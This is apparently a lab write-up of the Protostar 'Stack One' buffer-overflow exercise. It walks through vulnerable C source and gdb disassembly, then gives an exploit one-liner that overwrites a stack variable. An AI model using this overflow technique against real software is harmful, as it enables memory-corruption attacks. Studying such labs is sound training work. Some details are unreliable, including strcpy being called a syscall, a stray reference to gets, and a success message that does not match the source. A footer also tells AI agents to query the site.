# Stack One

> This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory. This level is at /opt/protostar/bin/stack1
>
> **Hints**
>
> * If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend
> * Protostar is little endian

## Source code

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}
```

This program requires us to pass arguments, with `argv[0]` being the program name. If we don't provide an extra argument, we are asked to specify an argument.

The `strcpy` system call is used to read user input into the buffer.

Let's look at it's manual page.

```c
char strcpy(char restrict dst, const char restrict src);
```

We can see that the characters are read from `argv[1]` and copied to the `buffer`.

It is better that the `gets` syscall but it still has it's own problems.

```
CAVEATS 

    The strings src and dst may not overlap.

    If the destination buffer is not large enough, the behavior is
    undefined.
```

So the `strcpy` syscall stores characters past the end of the buffer. This essentially breaks the limit set on the buffer which means we can input more than 64 bytes.

This is the vulnerability that we have to exploit.

But before that let's go through the rest of the code.

There is an `if` statement which checks if the value of `modified` in not equal to `0x61626364`. If it is not equal to 0, it prints out a string `else` it prompts us to try again.

We have to overwrite the `modified` variable using a buffer overflow. For that we have have to know where the `modified` variable is located.

Let's disassemble the program in `gdb`.

```
(gdb) disassemble main
Dump of assembler code for function main:
0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret
```

The instruction at `main+67` sets up the check.

```
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
```

The value in `eax` is compared with `0x61626364` which in ASCII is `abcd`. This value is moved from `esp+0x5c`.

Next, we want to locate the buffer.

```
--snip--;
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
--snip--;
```

In 32-bit assembly the arguments for a `call` are stored onto the `stack`.

In our program the `gets` syscall takes the location of the buffer as argument. This buffer is located at `esp+0x1c`.

The distance between the location of the `modified` variable and the buffer is the following:

```
(gdb) p/d 0x5c - 0x1c
$1 = 64
```

The variable is located right where the buffer ends.

Therefore we need 68 bytes in total, 64 bytes to fill the buffer and 4 bytes to overwrite the `modified` variable.

```
$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Try again, you got 0x64636261
```

Ah! The characters are being stored in [little-endian](https://www.geeksforgeeks.org/little-and-big-endian-mystery/) format. So `abcd` is being flipped to `dcba`.

In order to pass the check, we have to provide the the flipped string i.e. `dcba`.

## Exploit

```
$ ./stack1 $(python -c 'print "A"*64 + "dcba")
you have changed the 'modified' variable
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kunalwalavalkar.gitbook.io/write-ups/exploit-education/protostar/stack-one.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
